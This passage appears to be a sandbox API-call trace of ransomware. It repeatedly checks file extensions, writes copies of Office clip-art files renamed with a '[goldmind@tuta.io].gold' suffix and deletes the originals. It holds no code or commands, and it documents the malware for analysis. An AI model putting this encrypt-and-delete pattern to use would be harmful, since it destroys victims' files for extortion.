[0100.020] lstrlenW (lpString=".ppt") returned 4 [0100.020] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0100.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0100.020] lstrlenW (lpString=".zip") returned 4 [0100.020] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0100.021] lstrlenW (lpString=".rar") returned 4 [0100.021] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0100.021] lstrlenW (lpString=".bz2") returned 4 [0100.021] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0100.021] lstrlenW (lpString=".7z") returned 3 [0100.021] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0100.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0100.021] lstrlenW (lpString=".dbf") returned 4 [0100.021] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0100.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0100.021] lstrlenW (lpString=".1cd") returned 4 [0100.021] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0100.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0100.021] lstrlenW (lpString=".jpg") returned 4 [0100.021] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0100.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0100.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0100.021] lstrlenW (lpString=".doc") returned 4 [0100.021] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0100.021] lstrlenW (lpString=".docx") returned 5 [0100.021] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0100.021] lstrlenW (lpString=".pdf") returned 4 [0100.021] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0100.021] lstrlenW (lpString=".xls") returned 4 [0100.021] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0100.021] lstrlenW (lpString=".xlsx") returned 5 [0100.021] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0100.021] lstrlenW (lpString=".ppt") returned 4 [0100.021] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0100.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0100.021] lstrlenW (lpString=".zip") returned 4 [0100.021] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0100.021] lstrlenW (lpString=".rar") returned 4 [0100.021] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0100.021] lstrlenW (lpString=".bz2") returned 4 [0100.021] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0100.021] lstrlenW (lpString=".7z") returned 3 [0100.021] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0100.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0100.022] lstrlenW (lpString=".dbf") returned 4 [0100.022] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0100.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0100.022] lstrlenW (lpString=".1cd") returned 4 [0100.022] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0100.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0100.022] lstrlenW (lpString=".jpg") returned 4 [0100.022] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0100.022] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0100.022] lstrlenW (lpString="IN00557_.WMF") returned 12 [0100.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0100.024] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=9172) returned 1 [0100.024] CloseHandle (hObject=0x190) returned 1 [0100.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf")) returned 0x20 [0100.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0100.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0100.025] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0100.025] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0100.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0100.025] GetLastError () returned 0x0 [0100.025] ReadFile (in: hFile=0x190, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x23d4, lpOverlapped=0x0) returned 1 [0100.027] WriteFile (in: hFile=0x380, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x23e0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x23e0, lpOverlapped=0x0) returned 1 [0100.027] ReadFile (in: hFile=0x190, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0100.027] WriteFile (in: hFile=0x380, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0100.027] SetEndOfFile (hFile=0x380) returned 1 [0100.028] CloseHandle (hObject=0x380) returned 1 [0100.028] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0100.028] SetEndOfFile (hFile=0x190) returned 1 [0100.029] CloseHandle (hObject=0x190) returned 1 [0100.029] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0100.030] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf")) returned 1 [0100.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0100.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0100.030] lstrlenW (lpString=".doc") returned 4 [0100.030] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0100.030] lstrlenW (lpString=".docx") returned 5 [0100.030] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0100.030] lstrlenW (lpString=".pdf") returned 4 [0100.030] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0100.030] lstrlenW (lpString=".xls") returned 4 [0100.030] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0100.030] lstrlenW (lpString=".xlsx") returned 5 [0100.030] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0100.030] lstrlenW (lpString=".ppt") returned 4 [0100.030] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0100.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0100.030] lstrlenW (lpString=".zip") returned 4 [0100.030] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0100.030] lstrlenW (lpString=".rar") returned 4 [0100.030] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0100.030] lstrlenW (lpString=".bz2") returned 4 [0100.030] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0100.030] lstrlenW (lpString=".7z") returned 3 [0100.030] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0100.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0100.030] lstrlenW (lpString=".dbf") returned 4 [0100.030] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0100.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0100.030] lstrlenW (lpString=".1cd") returned 4 [0100.031] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0100.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0100.031] lstrlenW (lpString=".jpg") returned 4 [0100.031] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0100.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0100.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0100.031] lstrlenW (lpString=".doc") returned 4 [0100.031] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0100.031] lstrlenW (lpString=".docx") returned 5 [0100.031] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0100.031] lstrlenW (lpString=".pdf") returned 4 [0100.031] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0100.031] lstrlenW (lpString=".xls") returned 4 [0100.031] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0100.031] lstrlenW (lpString=".xlsx") returned 5 [0100.031] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0100.031] lstrlenW (lpString=".ppt") returned 4 [0100.031] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0100.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0100.031] lstrlenW (lpString=".zip") returned 4 [0100.031] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0100.031] lstrlenW (lpString=".rar") returned 4 [0100.031] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0100.031] lstrlenW (lpString=".bz2") returned 4 [0100.031] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0100.031] lstrlenW (lpString=".7z") returned 3 [0100.031] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0100.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0100.031] lstrlenW (lpString=".dbf") returned 4 [0100.031] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0100.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0100.031] lstrlenW (lpString=".1cd") returned 4 [0100.031] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0100.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0100.031] lstrlenW (lpString=".jpg") returned 4 [0100.031] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0100.031] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0100.031] lstrlenW (lpString="IN00915_.WMF") returned 12 [0100.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0100.032] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=12748) returned 1 [0100.032] CloseHandle (hObject=0x190) returned 1 [0100.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf")) returned 0x20 [0100.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0100.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0100.033] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0100.033] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0100.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0100.033] GetLastError () returned 0x0 [0100.033] ReadFile (in: hFile=0x190, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x31cc, lpOverlapped=0x0) returned 1 [0100.034] WriteFile (in: hFile=0x380, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x31d0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x31d0, lpOverlapped=0x0) returned 1 [0100.035] ReadFile (in: hFile=0x190, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0100.035] WriteFile (in: hFile=0x380, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0100.035] SetEndOfFile (hFile=0x380) returned 1 [0100.035] CloseHandle (hObject=0x380) returned 1 [0100.035] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0100.035] SetEndOfFile (hFile=0x190) returned 1 [0100.040] CloseHandle (hObject=0x190) returned 1 [0100.040] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0100.040] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf")) returned 1 [0100.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0100.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0100.041] lstrlenW (lpString=".doc") returned 4 [0100.041] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0100.041] lstrlenW (lpString=".docx") returned 5 [0100.041] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0100.041] lstrlenW (lpString=".pdf") returned 4 [0100.041] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0100.041] lstrlenW (lpString=".xls") returned 4 [0100.041] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0100.041] lstrlenW (lpString=".xlsx") returned 5 [0100.041] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0100.041] lstrlenW (lpString=".ppt") returned 4 [0100.041] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0100.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0100.041] lstrlenW (lpString=".zip") returned 4 [0100.041] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0100.041] lstrlenW (lpString=".rar") returned 4 [0100.041] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0100.041] lstrlenW (lpString=".bz2") returned 4 [0100.041] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0100.041] lstrlenW (lpString=".7z") returned 3 [0100.041] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0100.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0100.041] lstrlenW (lpString=".dbf") returned 4 [0100.041] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0100.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0100.041] lstrlenW (lpString=".1cd") returned 4 [0100.041] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0100.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0100.041] lstrlenW (lpString=".jpg") returned 4 [0100.041] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0100.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0100.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0100.041] lstrlenW (lpString=".doc") returned 4 [0100.041] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0100.041] lstrlenW (lpString=".docx") returned 5 [0100.041] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0100.041] lstrlenW (lpString=".pdf") returned 4 [0100.042] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0100.042] lstrlenW (lpString=".xls") returned 4 [0100.042] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0100.042] lstrlenW (lpString=".xlsx") returned 5 [0100.042] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0100.042] lstrlenW (lpString=".ppt") returned 4 [0100.042] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0100.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0100.042] lstrlenW (lpString=".zip") returned 4 [0100.042] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0100.042] lstrlenW (lpString=".rar") returned 4 [0100.042] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0100.042] lstrlenW (lpString=".bz2") returned 4 [0100.042] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0100.042] lstrlenW (lpString=".7z") returned 3 [0100.042] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0100.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0100.042] lstrlenW (lpString=".dbf") returned 4 [0100.042] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0100.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0100.042] lstrlenW (lpString=".1cd") returned 4 [0100.042] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0100.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 63 [0100.042] lstrlenW (lpString=".jpg") returned 4 [0100.042] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0100.042] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0100.042] lstrlenW (lpString="IN00919_.WMF") returned 12 [0100.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0100.043] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=6920) returned 1 [0100.043] CloseHandle (hObject=0x190) returned 1 [0100.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf")) returned 0x20 [0100.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0100.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0100.043] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0100.043] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0100.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0100.043] GetLastError () returned 0x0 [0100.044] ReadFile (in: hFile=0x190, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x1b08, lpOverlapped=0x0) returned 1 [0100.274] WriteFile (in: hFile=0x380, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x1b10, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x1b10, lpOverlapped=0x0) returned 1 [0100.560] ReadFile (in: hFile=0x190, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0100.560] WriteFile (in: hFile=0x380, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0100.571] SetEndOfFile (hFile=0x380) returned 1 [0100.631] CloseHandle (hObject=0x380) returned 1 [0100.645] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0100.645] SetEndOfFile (hFile=0x190) returned 1 [0100.646] CloseHandle (hObject=0x190) returned 1 [0100.647] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0100.663] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf")) returned 1 [0100.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0100.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0100.664] lstrlenW (lpString=".doc") returned 4 [0100.664] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0100.664] lstrlenW (lpString=".docx") returned 5 [0100.664] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0100.664] lstrlenW (lpString=".pdf") returned 4 [0100.664] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0100.664] lstrlenW (lpString=".xls") returned 4 [0100.664] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0100.664] lstrlenW (lpString=".xlsx") returned 5 [0100.664] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0100.664] lstrlenW (lpString=".ppt") returned 4 [0100.664] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0100.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0100.664] lstrlenW (lpString=".zip") returned 4 [0100.664] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0100.664] lstrlenW (lpString=".rar") returned 4 [0100.664] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0100.664] lstrlenW (lpString=".bz2") returned 4 [0100.664] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0100.664] lstrlenW (lpString=".7z") returned 3 [0100.664] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0100.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 63 [0100.664] lstrlenW (lpString=".dbf") returned 4 [0100.664] 